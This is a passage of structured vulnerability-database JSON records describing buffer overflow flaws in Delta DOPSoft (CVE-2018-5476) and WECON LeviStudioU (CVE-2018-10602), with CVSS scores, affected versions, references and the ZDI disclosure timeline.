"CWE-119" } ], "sources": [ { "db": "JVNDB", "id": "JVNDB-2018-003080" }, { "db": "NVD", "id": "CVE-2018-5476" } ] }, "references": { "_id": null, "data": [ { "url": "https://ics-cert.us-cert.gov/advisories/icsa-18-060-03", "trust": 12.4 }, { "url": "http://www.securityfocus.com/bid/103195", "trust": 1.6 }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2018-5476", "trust": 0.8 }, { "url": "https://nvd.nist.gov/vuln/detail/cve-2018-5476", "trust": 0.8 }, { "url": "http://www.deltaww.com/", "trust": 0.3 } ], "sources": [ { "db": "ZDI", "id": "ZDI-18-234" }, { "db": "ZDI", "id": "ZDI-18-229" }, { "db": "ZDI", "id": "ZDI-18-228" }, { "db": "ZDI", "id": "ZDI-18-222" }, { "db": "ZDI", "id": "ZDI-18-233" }, { "db": "ZDI", "id": "ZDI-18-227" }, { "db": "ZDI", "id": "ZDI-18-220" }, { "db": "ZDI", "id": "ZDI-18-231" }, { "db": "ZDI", "id": "ZDI-18-226" }, { "db": "ZDI", "id": "ZDI-18-230" }, { "db": "ZDI", "id": "ZDI-18-232" }, { "db": "ZDI", "id": "ZDI-18-221" }, { "db": "ZDI", "id": "ZDI-18-224" }, { "db": "CNVD", "id": "CNVD-2018-04098" }, { "db": "BID", "id": "103195" }, { "db": "JVNDB", "id": "JVNDB-2018-003080" }, { "db": "CNNVD", "id": "CNNVD-201803-561" }, { "db": "NVD", "id": "CVE-2018-5476" } ] }, "sources_update_date": { "_id": null, "data": [ { "db": "ZDI", "id": "ZDI-18-234", "ident": null, "date": "2018-03-02T00:00:00" }, { "db": "ZDI", "id": "ZDI-18-229", "ident": null, "date": "2018-03-02T00:00:00" }, { "db": "ZDI", "id": "ZDI-18-228", "ident": null, "date": "2018-03-02T00:00:00" }, { "db": "ZDI", "id": "ZDI-18-222", "ident": null, "date": "2018-03-02T00:00:00" }, { "db": "ZDI", "id": "ZDI-18-233", "ident": null, "date": "2018-03-02T00:00:00" }, { "db": "ZDI", "id": "ZDI-18-227", "ident": null, "date": "2018-03-02T00:00:00" }, { "db": "ZDI", "id": "ZDI-18-220", "ident": null, "date": "2018-03-02T00:00:00" }, { "db": "ZDI", "id": "ZDI-18-231", "ident": null, "date": "2018-03-02T00:00:00" }, { "db": "ZDI", "id": "ZDI-18-226", "ident": null, "date": "2018-03-02T00:00:00" }, { "db": "ZDI", "id": "ZDI-18-230", "ident": null, "date": "2018-03-02T00:00:00" }, { "db": "ZDI", "id": "ZDI-18-232", "ident": null, "date": "2018-03-02T00:00:00" }, { "db": "ZDI", "id": "ZDI-18-221", "ident": null, "date": "2018-03-02T00:00:00" }, { "db": "ZDI", "id": "ZDI-18-224", "ident": null, "date": "2018-03-02T00:00:00" }, { "db": "CNVD", "id": "CNVD-2018-04098", "ident": null, "date": "2018-11-05T00:00:00" }, { "db": "BID", "id": "103195", "ident": null, "date": "2018-03-01T00:00:00" }, { "db": "JVNDB", "id": "JVNDB-2018-003080", "ident": null, "date": "2018-05-11T00:00:00" }, { "db": "CNNVD", "id": "CNNVD-201803-561", "ident": null, "date": "2020-09-21T00:00:00" }, { "db": "NVD", "id": "CVE-2018-5476", "ident": null, "date": "2020-09-18T16:08:42.277000" } ] }, "sources_release_date": { "_id": null, "data": [ { "db": "IVD", "id": "e2ff6511-39ab-11e9-8816-000c29342cb1", "ident": null, "date": "2018-03-02T00:00:00" }, { "db": "ZDI", "id": "ZDI-18-234", "ident": null, "date": "2018-03-02T00:00:00" }, { "db": "ZDI", "id": "ZDI-18-229", "ident": null, "date": "2018-03-02T00:00:00" }, { "db": "ZDI", "id": "ZDI-18-228", "ident": null, "date": "2018-03-02T00:00:00" }, { "db": "ZDI", "id": "ZDI-18-222", "ident": null, "date": "2018-03-02T00:00:00" }, { "db": "ZDI", "id": "ZDI-18-233", "ident": null, "date": "2018-03-02T00:00:00" }, { "db": "ZDI", "id": "ZDI-18-227", "ident": null, "date": "2018-03-02T00:00:00" }, { "db": "ZDI", "id": "ZDI-18-220", "ident": null, "date": "2018-03-02T00:00:00" }, { "db": "ZDI", "id": "ZDI-18-231", "ident": null, "date": "2018-03-02T00:00:00" }, { "db": "ZDI", "id": "ZDI-18-226", "ident": null, "date": "2018-03-02T00:00:00" }, { "db": "ZDI", "id": "ZDI-18-230", "ident": null, "date": "2018-03-02T00:00:00" }, { "db": "ZDI", "id": "ZDI-18-232", "ident": null, "date": "2018-03-02T00:00:00" }, { "db": "ZDI", "id": "ZDI-18-221", "ident": null, "date": "2018-03-02T00:00:00" }, { "db": "ZDI", "id": "ZDI-18-224", "ident": null, "date": "2018-03-02T00:00:00" }, { "db": "CNVD", "id": "CNVD-2018-04098", "ident": null, "date": "2018-03-02T00:00:00" }, { "db": "BID", "id": "103195", "ident": null, "date": "2018-03-01T00:00:00" }, { "db": "JVNDB", "id": "JVNDB-2018-003080", "ident": null, "date": "2018-05-11T00:00:00" }, { "db": "CNNVD", "id": "CNNVD-201803-561", "ident": null, "date": "2018-03-19T00:00:00" }, { "db": "NVD", "id": "CVE-2018-5476", "ident": null, "date": "2018-03-15T23:29:00.470000" } ] }, "threat_type": { "_id": null, "data": "local", "sources": [ { "db": "CNNVD", "id": "CNNVD-201803-561" } ], "trust": 0.6 }, "title": { "_id": null, "data": "Delta Electronics Delta Industrial Automation DOPSoft Buffer error vulnerability", "sources": [ { "db": "JVNDB", "id": "JVNDB-2018-003080" }, { "db": "CNNVD", "id": "CNNVD-201803-561" } ], "trust": 1.4 }, "type": { "_id": null, "data": "Buffer error", "sources": [ { "db": "IVD", "id": "e2ff6511-39ab-11e9-8816-000c29342cb1" }, { "db": "CNNVD", "id": "CNNVD-201803-561" } ], "trust": 0.8 }, "cve": "CVE-2018-5476", "last_update_date": "2024-07-23T22:41:17.171000Z" } ``` ## [var-201809-0087](https://vulnerability.circl.lu/vuln/var-201809-0087) ```json { "id": "VAR-201809-0087", "affected_products": { "sources": [ { "db": "IVD", "id": "e2f727b1-39ab-11e9-8ff0-000c29342cb1" }, { "db": "ZDI", "id": "ZDI-18-824" }, { "db": "ZDI", "id": "ZDI-18-828" }, { "db": "ZDI", "id": "ZDI-18-805" }, { "db": "ZDI", "id": "ZDI-18-850" }, { "db": "ZDI", "id": "ZDI-18-791" }, { "db": "ZDI", "id": "ZDI-18-822" }, { "db": "ZDI", "id": "ZDI-18-832" }, { "db": "ZDI", "id": "ZDI-18-842" }, { "db": "ZDI", "id": "ZDI-18-784" }, { "db": "ZDI", "id": "ZDI-18-857" }, { "db": "ZDI", "id": "ZDI-18-997" }, { "db": "ZDI", "id": "ZDI-18-794" }, { "db": "ZDI", "id": "ZDI-18-862" }, { "db": "ZDI", "id": "ZDI-18-804" }, { "db": "ZDI", "id": "ZDI-18-852" }, { "db": "CNVD", "id": "CNVD-2018-14455" }, { "db": "CNNVD", "id": "CNNVD-201808-310" }, { "db": "NVD", "id": "CVE-2018-10602" } ], "data": [ { "vendor": "wecon", "model": "levistudiou", "version": null, "scope": null, "trust": 10.5 }, { "vendor": "we con", "model": "levistudiou", "version": "1.8.44", "scope": "eq", "trust": 1.6 }, { "vendor": "we con", "model": "levistudiou", "version": "1.8.29", "scope": "eq", "trust": 1.6 }, { "vendor": "wecon", "model": "levistudiou", "version": "1.8.29", "scope": "eq", "trust": 0.6 }, { "vendor": "wecon", "model": "levistudiou", "version": "1.8.44", "scope": "eq", "trust": 0.6 }, { "vendor": "levistudiou", "model": null, "version": "1.8.29", "scope": "eq", "trust": 0.2 }, { "vendor": "levistudiou", "model": null, "version": "1.8.44", "scope": "eq", "trust": 0.2 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/affected_products#", "data": { "@container": "@list" }, "sources": { "@id": "https://www.variotdbs.pl/ref/sources", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "configurations": { "sources": [ { "db": "NVD", "id": "CVE-2018-10602" } ], "data": [ { "CVE_data_version": "4.0", "nodes": [ { "operator": "OR", "children": [], "cpe_match": [ { "vulnerable": true, "cpe23Uri": "cpe:2.3:a:we-con:levistudiou:1.8.29:*:*:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:a:we-con:levistudiou:1.8.44:*:*:*:*:*:*:*", "cpe_name": [] } ] } ] } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/configurations#", "data": { "@container": "@list" }, "nodes": { "@container": "@list" }, "cpe_match": { "@container": "@list" }, "children": { "@container": "@list" } } }, "credits": { "sources": [ { "db": "ZDI", "id": "ZDI-18-824" }, { "db": "ZDI", "id": "ZDI-18-828" }, { "db": "ZDI", "id": "ZDI-18-805" }, { "db": "ZDI", "id": "ZDI-18-850" }, { "db": "ZDI", "id": "ZDI-18-791" }, { "db": "ZDI", "id": "ZDI-18-822" }, { "db": "ZDI", "id": "ZDI-18-832" }, { "db": "ZDI", "id": "ZDI-18-842" }, { "db": "ZDI", "id": "ZDI-18-784" }, { "db": "ZDI", "id": "ZDI-18-857" }, { "db": "ZDI", "id": "ZDI-18-997" }, { "db": "ZDI", "id": "ZDI-18-862" }, { "db": "ZDI", "id": "ZDI-18-804" }, { "db": "ZDI", "id": "ZDI-18-852" } ], "data": "Mat Powell of Trend Micro Zero Day Initiative", "trust": 9.8, "@context": { "@vocab": "https://www.variotdbs.pl/ref/credits#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "cvss": { "sources": [ { "db": "IVD", "id": "e2f727b1-39ab-11e9-8ff0-000c29342cb1" }, { "db": "ZDI", "id": "ZDI-18-824" }, { "db": "ZDI", "id": "ZDI-18-828" }, { "db": "ZDI", "id": "ZDI-18-805" }, { "db": "ZDI", "id": "ZDI-18-850" }, { "db": "ZDI", "id": "ZDI-18-791" }, { "db": "ZDI", "id": "ZDI-18-822" }, { "db": "ZDI", "id": "ZDI-18-832" }, { "db": "ZDI", "id": "ZDI-18-842" }, { "db": "ZDI", "id": "ZDI-18-784" }, { "db": "ZDI", "id": "ZDI-18-857" }, { "db": "ZDI", "id": "ZDI-18-997" }, { "db": "ZDI", "id": "ZDI-18-794" }, { "db": "ZDI", "id": "ZDI-18-862" }, { "db": "ZDI", "id": "ZDI-18-804" }, { "db": "ZDI", "id": "ZDI-18-852" }, { "db": "CNVD", "id": "CNVD-2018-14455" }, { "db": "CNNVD", "id": "CNNVD-201808-310" }, { "db": "NVD", "id": "CVE-2018-10602" } ], "data": [ { "severity": [ { "id": "CVE-2018-10602", "value": "HIGH", "author": "ZDI", "trust": 10.5 }, { "value": "HIGH", "author": "NVD", "id": "CVE-2018-10602", "trust": 1.0 }, { "value": "HIGH", "author": "CNVD", "id": "CNVD-2018-14455", "trust": 0.6 }, { "id": "CNNVD-201808-310", "value": "HIGH", "author": "CNNVD", "trust": 0.6 }, { "id": "e2f727b1-39ab-11e9-8ff0-000c29342cb1", "value": "HIGH", "author": "IVD", "trust": 0.2 } ], "cvssV2": [ { "id": "CVE-2018-10602", "author": "ZDI", "version": "2.0", "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "accessVector": "NETWORK", "accessComplexity": "MEDIUM", "authentication": "NONE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "baseScore": 9.3, "severity": "HIGH", "exploitabilityScore": 8.6, "impactScore": 10.0, "acInsufInfo": null, "obtainAllPrivilege": null, "obtainUserPrivilege": null, "obtainOtherPrivilege": null, "userInteractionRequired": null, "trust": 10.5 }, { "exploitabilityScore": 8.6, "impactScore": 10.0, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": true, "version": "2.0", "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "accessVector": "NETWORK", "accessComplexity": "MEDIUM", "authentication": "NONE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "baseScore": 9.3, "author": "NVD", "severity": "HIGH", "trust": 1.0 }, { "version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "baseScore": 10.0, "severity": "HIGH", "exploitabilityScore": 10.0, "impactScore": 10.0, "id": "CNVD-2018-14455", "author": "CNVD", "trust": 0.6 }, { "version": "2.9 [IVD]", "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "baseScore": 10.0, "severity": "HIGH", "exploitabilityScore": 10.0, "impactScore": 10.0, "id": "e2f727b1-39ab-11e9-8ff0-000c29342cb1", "author": "IVD", "trust": 0.2 } ], "cvssV3": [ { "exploitabilityScore": 2.8, "impactScore": 5.9, "version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH", "baseScore": 8.8, "baseSeverity": "HIGH", "author": "NVD", "trust": 1.0 } ] } ], "@context": { "cvssV3": { "@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#" } }, "cvssV2": { "@id": "https://www.variotdbs.pl/ref/cvss/cvssV2", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#" } }, "severity": { "@id": "https://www.variotdbs.pl/ref/cvss/severity", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/cvss/severity#" } }, "sources": { "@id": "https://www.variotdbs.pl/ref/sources", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "description": { "sources": [ { "db": "NVD", "id": "CVE-2018-10602" }, { "db": "ZDI", "id": "ZDI-18-824" }, { "db": "ZDI", "id": "ZDI-18-852" }, { "db": "ZDI", "id": "ZDI-18-804" }, { "db": "ZDI", "id": "ZDI-18-862" }, { "db": "ZDI", "id": "ZDI-18-794" }, { "db": "ZDI", "id": "ZDI-18-997" }, { "db": "ZDI", "id": "ZDI-18-857" }, { "db": "ZDI", "id": "ZDI-18-784" }, { "db": "ZDI", "id": "ZDI-18-842" }, { "db": "ZDI", "id": "ZDI-18-832" }, { "db": "ZDI", "id": "ZDI-18-822" }, { "db": "ZDI", "id": "ZDI-18-791" }, { "db": "ZDI", "id": "ZDI-18-850" }, { "db": "ZDI", "id": "ZDI-18-805" }, { "db": "ZDI", "id": "ZDI-18-828" }, { "db": "CNVD", "id": "CNVD-2018-14455" }, { "db": "IVD", "id": "e2f727b1-39ab-11e9-8ff0-000c29342cb1" } ], "data": "WECON LeviStudio Versions 1.8.29 and 1.8.44 have multiple stack-based buffer overflow vulnerabilities that can be exploited when the application processes specially crafted project files. This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Wecon LeviStudioU. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists within the handling of the UserMgr.xml file. When parsing the GroupList ID element, the process does not properly validate the length of user-supplied data prior to copying it to a fixed-length stack-based buffer. An attacker can leverage this vulnerability to execute code under the context of Administrator. WECON LeviStudio is a set of human interface programming software from WECON, China", "trust": 11.07, "@context": { "@vocab": "https://www.variotdbs.pl/ref/description#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "external_ids": { "sources": [ { "db": "IVD", "id": "e2f727b1-39ab-11e9-8ff0-000c29342cb1" }, { "db": "ZDI", "id": "ZDI-18-824" }, { "db": "ZDI", "id": "ZDI-18-828" }, { "db": "ZDI", "id": "ZDI-18-805" }, { "db": "ZDI", "id": "ZDI-18-850" }, { "db": "ZDI", "id": "ZDI-18-791" }, { "db": "ZDI", "id": "ZDI-18-822" }, { "db": "ZDI", "id": "ZDI-18-832" }, { "db": "ZDI", "id": "ZDI-18-842" }, { "db": "ZDI", "id": "ZDI-18-784" }, { "db": "ZDI", "id": "ZDI-18-857" }, { "db": "ZDI", "id": "ZDI-18-997" }, { "db": "ZDI", "id": "ZDI-18-794" }, { "db": "ZDI", "id": "ZDI-18-862" }, { "db": "ZDI", "id": "ZDI-18-804" }, { "db": "ZDI", "id": "ZDI-18-852" }, { "db": "CNVD", "id": "CNVD-2018-14455" }, { "db": "CNNVD", "id": "CNNVD-201808-310" }, { "db": "NVD", "id": "CVE-2018-10602" } ], "data": [ { "db": "NVD", "id": "CVE-2018-10602", "trust": 12.9 }, { "db": "ICS CERT", "id": "ICSA-18-212-03", "trust": 2.2 }, { "db": "BID", "id": "104935", "trust": 1.6 }, { "db": "CNVD", "id": "CNVD-2018-14455", "trust": 0.8 }, { "db": "CNNVD", "id": "CNNVD-201808-310", "trust": 0.8 }, { "db": "ZDI_CAN", "id": "ZDI-CAN-5905", "trust": 0.7 }, { "db": "ZDI", "id": "ZDI-18-824", "trust": 0.7 }, { "db": "ZDI_CAN", "id": "ZDI-CAN-5909", "trust": 0.7 }, { "db": "ZDI", "id": "ZDI-18-828", "trust": 0.7 }, { "db": "ZDI_CAN", "id": "ZDI-CAN-5870", "trust": 0.7 }, { "db": "ZDI", "id": "ZDI-18-805", "trust": 0.7 }, { "db": "ZDI_CAN", "id": "ZDI-CAN-5931", "trust": 0.7 }, { "db": "ZDI", "id": "ZDI-18-850", "trust": 0.7 }, { "db": "ZDI_CAN", "id": "ZDI-CAN-5794", "trust": 0.7 }, { "db": "ZDI", "id": "ZDI-18-791", "trust": 0.7 }, { "db": "ZDI_CAN", "id": "ZDI-CAN-5903", "trust": 0.7 }, { "db": "ZDI", "id": "ZDI-18-822", "trust": 0.7 }, { "db": "ZDI_CAN", "id": "ZDI-CAN-5913", "trust": 0.7 }, { "db": "ZDI", "id": "ZDI-18-832", "trust": 0.7 }, { "db": "ZDI_CAN", "id": "ZDI-CAN-5923", "trust": 0.7 }, { "db": "ZDI", "id": "ZDI-18-842", "trust": 0.7 }, { "db": "ZDI_CAN", "id": "ZDI-CAN-5787", "trust": 0.7 }, { "db": "ZDI", "id": "ZDI-18-784", "trust": 0.7 }, { "db": "ZDI_CAN", "id": "ZDI-CAN-5938", "trust": 0.7 }, { "db": "ZDI", "id": "ZDI-18-857", "trust": 0.7 }, { "db": "ZDI_CAN", "id": "ZDI-CAN-6067", "trust": 0.7 }, { "db": "ZDI", "id": "ZDI-18-997", "trust": 0.7 }, { "db": "ZDI_CAN", "id": "ZDI-CAN-5798", "trust": 0.7 }, { "db": "ZDI", "id": "ZDI-18-794", "trust": 0.7 }, { "db": "ZDI_CAN", "id": "ZDI-CAN-5945", "trust": 0.7 }, { "db": "ZDI", "id": "ZDI-18-862", "trust": 0.7 }, { "db": "ZDI_CAN", "id": "ZDI-CAN-5868", "trust": 0.7 }, { "db": "ZDI", "id": "ZDI-18-804", "trust": 0.7 }, { "db": "ZDI_CAN", "id": "ZDI-CAN-5933", "trust": 0.7 }, { "db": "ZDI", "id": "ZDI-18-852", "trust": 0.7 }, { "db": "IVD", "id": "E2F727B1-39AB-11E9-8FF0-000C29342CB1", "trust": 0.2 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/external_ids#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "iot": { "sources": [ { "db": "IVD", "id": "e2f727b1-39ab-11e9-8ff0-000c29342cb1" }, { "db": "CNVD", "id": "CNVD-2018-14455" } ], "data": true, "trust": 0.08, "@context": { "@vocab": "https://www.variotdbs.pl/ref/iot#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "iot_taxonomy": { "sources": [ { "db": "IVD", "id": "e2f727b1-39ab-11e9-8ff0-000c29342cb1" }, { "db": "CNVD", "id": "CNVD-2018-14455" } ], "data": [ { "category": [ "ICS" ], "sub_category": null, "trust": 0.8 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/iot_taxonomy#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "patch": { "sources": [ { "db": "ZDI", "id": "ZDI-18-824" }, { "db": "ZDI", "id": "ZDI-18-828" }, { "db": "ZDI", "id": "ZDI-18-805" }, { "db": "ZDI", "id": "ZDI-18-850" }, { "db": "ZDI", "id": "ZDI-18-791" }, { "db": "ZDI", "id": "ZDI-18-822" }, { "db": "ZDI", "id": "ZDI-18-832" }, { "db": "ZDI", "id": "ZDI-18-842" }, { "db": "ZDI", "id": "ZDI-18-784" }, { "db": "ZDI", "id": "ZDI-18-857" }, { "db": "ZDI", "id": "ZDI-18-997" }, { "db": "ZDI", "id": "ZDI-18-794" }, { "db": "ZDI", "id": "ZDI-18-862" }, { "db": "ZDI", "id": "ZDI-18-804" }, { "db": "ZDI", "id": "ZDI-18-852" }, { "db": "CNVD", "id": "CNVD-2018-14455" } ], "data": [ { "title": "Wecon has issued an update to correct this vulnerability. This vulnerability is being disclosed publicly without a patch in accordance with the ZDI 120 day deadline.03/07/18 - ZDI disclosed the report to ICS-CERT03/12/18 - ICS-CERT assigned ICS‑VU‑031741 and notified ZDI07/06/18 - ZDI inquired the status of ICS‑VU‑03174107/09/18 - ICS-CERT replied that they would advise the vendor07/19/18 - ZDI advised ICS-CERT of the intended 0-day date: 07/26/2018-- Mitigation:Given the nature of the vulnerability the only salient mitigation strategy is to restrict interaction with the application to trusted files.", "url": "https://ics-cert.us-cert.gov/advisories/icsa-18-212-03", "trust": 10.5 }, { "url": "https://www.cnvd.org.cn/patchinfo/show/136079", "title": "WECON (wei control) LeviStudioU stack heap buffer overflow vulnerability patch", "trust": 0.6 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/patch#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "sources": { "data": [ { "db": "IVD", "id": "e2f727b1-39ab-11e9-8ff0-000c29342cb1" }, { "db": "ZDI", "id": "ZDI-18-824" }, { "db": "ZDI", "id": "ZDI-18-828" }, { "db": "ZDI", "id": "ZDI-18-805" }, { "db": "ZDI", "id": "ZDI-18-850" }, { "db": "ZDI", "id": "ZDI-18-791" }, { "db": "ZDI", "id": "ZDI-18-822" }, { "db": "ZDI", "id": "ZDI-18-832" }, { "db": "ZDI", "id": "ZDI-18-842" }, { "db": "ZDI", "id": "ZDI-18-784" }, { "db": "ZDI", "id": "ZDI-18-857" }, { "db": "ZDI", "id": "ZDI-18-997" }, { "db": "ZDI", "id": "ZDI-18-794" }, { "db": "ZDI", "id": "ZDI-18-862" }, { "db": "ZDI", "id": "ZDI-18-804" }, { "db": "ZDI", "id": "ZDI-18-852" }, { "db": "CNVD", "id": "CNVD-2018-14455" }, { "db": "CNNVD", "id": "CNNVD-201808-310" }, { "db": "NVD", "id": "CVE-2018-10602" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#", "data": { "@container": "@list" } } }, "problemtype_data": { "sources": [ { "db": "NVD", "id": "CVE-2018-10602" } ], "data": [ { "trust": 1.0, "problemtype": "CWE-787" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/problemtype_data#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "references": { "sources": [ { "db": "ZDI", "id": "ZDI-18-824" }, { "db": "ZDI", "id": "ZDI-18-828" }, { "db": "ZDI", "id": "ZDI-18-805" }, { "db": "ZDI", "id": "ZDI-18-850" }, { "db": "ZDI", "id": "ZDI-18-791" }, { "db": "ZDI", "id": "ZDI-18-822" }, { "db": "ZDI", "id": "ZDI-18-832" }, { "db": "ZDI", "id": "ZDI-18-842" }, { "db": "ZDI", "id": "ZDI-18-784" }, { "db": "ZDI", "id": "ZDI-18-857" }, { "db": "ZDI", "id": "ZDI-18-997" }, { "db": "ZDI", "id": "ZDI-18-794" }, { "db": "ZDI", "id": "ZDI-18-862" }, { "db": "ZDI", "id": "ZDI-18-804" }, { "db": "ZDI", "id": "ZDI-18-852" }, { "db": "CNVD", "id": "CNVD-2018-14455" }, { "db": "CNNVD", "id": "CNNVD-201808-310" }, { "db": "NVD", "id": "CVE-2018-10602" } ], "data": [ { "url": "https://ics-cert.us-cert.gov/advisories/icsa-18-212-03", "trust": 12.7 }, { "url": "http://www.securityfocus.com/bid/104935", "trust": 1.6 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/references#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "sources_update_date": { "data": [ { "db": "ZDI", "id": "ZDI-18-824", "date": "2018-08-02T00:00:00" }, { "db": "ZDI", "id": "ZDI-18-828", "date": "2018-08-02T00:00:00" }, { "db": "ZDI", "id": "ZDI-18-805", "date": "2018-08-02T00:00:00" }, { "db": "ZDI", "id": "ZDI-18-850", "date": "2018-08-02T00:00:00" }, { "db": "ZDI", "id": "ZDI-18-791", "date": "2018-08-02T00:00:00" }, { "db": "ZDI", "id": "ZDI-18-822", "date": "2018-08-02T00:00:00" }, { "db": "ZDI", "id": "ZDI-18-832", "date": "2018-08-02T00:00:00" }, { "db": "ZDI", "id": "ZDI-18-842", "date": "2018-08-02T00:00:00" }, { "db": "ZDI", "id": "ZDI-18-784", "date": "2018-08-02T00:00:00" }, { "db": "ZDI", "id": "ZDI-18-857", "date": "2018-08-02T00:00:00" }, { "db": "ZDI", "id": "ZDI-18-997", "date": "2018-09-05T00:00:00" }, { "db": "ZDI", "id": "ZDI-18-794", "date": "2018-08-02T00:00:00" }, { "db": "ZDI", "id": "ZDI-18-862", "date": "2018-08-02T00:00:00" }, { "db": "ZDI", "id": "ZDI-18-804", "date": "2018-08-02T00:00:00" }, { "db": "ZDI", "id": "ZDI-18-852", "date": "2018-08-02T00:00:00" }, { "db": "CNVD", "id": "CNVD-2018-14455", "date": "2018-08-02T00:00:00" }, { "db": "CNNVD", "id": "CNNVD-201808-310", "date": "2019-10-17T00:00:00" }, { "db": "NVD", "id": "CVE-2018-10602", "date": "2020-08-28T13:57:20.203000" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources_update_date#", "data": { "@container": "@list" } } }, "sources_release_date": { "data": [ { "db": "IVD", "id": "e2f727b1-39ab-11e9-8ff0-000c29342cb1", "date": "2018-08-02T00:00:00" }, { "db": "ZDI", "id": "ZDI-18-824", "date": "2018-07-26T00:00:00" }, { "db": "ZDI", "id": "ZDI-18-828", "date": "2018-07-26T00:00:00" }, { "db": "ZDI", "id": "ZDI-18-805", "date": "2018-07-26T00:00:00" }, { "db": "ZDI", "id": "ZDI-18-850", "date": "2018-07-26T00:00:00" }, { "db": "ZDI", "id": "ZDI-18-791", "date": "2018-07-26T00:00:00" }, { "db": "ZDI", "id": "ZDI-18-822", "date": "2018-07-26T00:00:00" }, { "db": "ZDI", "id": "ZDI-18-832", "date": "2018-07-26T00:00:00" }, { "db": "ZDI", "id": "ZDI-18-842", "date": "2018-08-02T00:00:00" }, { "db": "ZDI", "id": "ZDI-18-784", "date": "2018-07-26T00:00:00" }, { "db": "ZDI", "id": "ZDI-18-857", "date": "2018-07-26T00:00:00" }, { "db": "ZDI", "id": "ZDI-18-997", "date": "2018-09-05T00:00:00" }, { "db": "ZDI", "id": "ZDI-18-794", "date": "2018-07-26T00:00:00" }, { "db": "ZDI", "id": "ZDI-18-862", "date": "2018-07-26T00:00:00" }, { "db": "ZDI", "id": "ZDI-18-804", "date": "2018-07-26T00:00:00" }, { "db": "ZDI", "id": "ZDI-18-852", "date": "2018-07-26T00:00:00" }, { "db": "CNVD", "id": "CNVD-2018-14455", "date": "2018-08-02T00:00:00" }, { "db": "CNNVD", "id": "CNNVD-201808-310", "date": "2018-08-13T00:00:00" }, { "db": "NVD", "id": "CVE-2018-10602", "date": "2018-09-26T18:29:00.323000" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources_release_date#", "data": { "@container": "@list" } } }, "threat_type": { "sources": [ { "db": "CNNVD", "id": "CNNVD-201808-310" } ], "data": "remote", "trust": 0.6, "@context": { "@vocab": "https://www.variotdbs.pl/ref/threat_type#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "title": { "sources": [ { "db": "ZDI", "id": "ZDI-18-824" } ], "data": "(0Day) Wecon LeviStudioU usermanage GroupList ID Stack-based Buffer Overflow Remote Code Execution Vulnerability", "trust": 0.7, "@context": { "@vocab": "https://www.variotdbs.pl/ref/title#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "type": { "sources": [ { "db": "IVD", "id": "e2f727b1-39ab-11e9-8ff0-000c29342cb1" }, { "db": "CNNVD", "id": "CNNVD-201808-310" } ], "data": "Buffer error", "trust": 0.8, "@context": { "@vocab": "https://www.variotdbs.pl/ref/type#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "cve": "CVE-2018-10602", "last_update_date": "2024-07-23T22:41:16.554000Z", "@id": "https://www.variotdbs.pl/vuln/VAR-201809-0087", "@context": { "@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#", "sources": { "@id": "https://www.variotdbs.pl/ref/sources/" }, 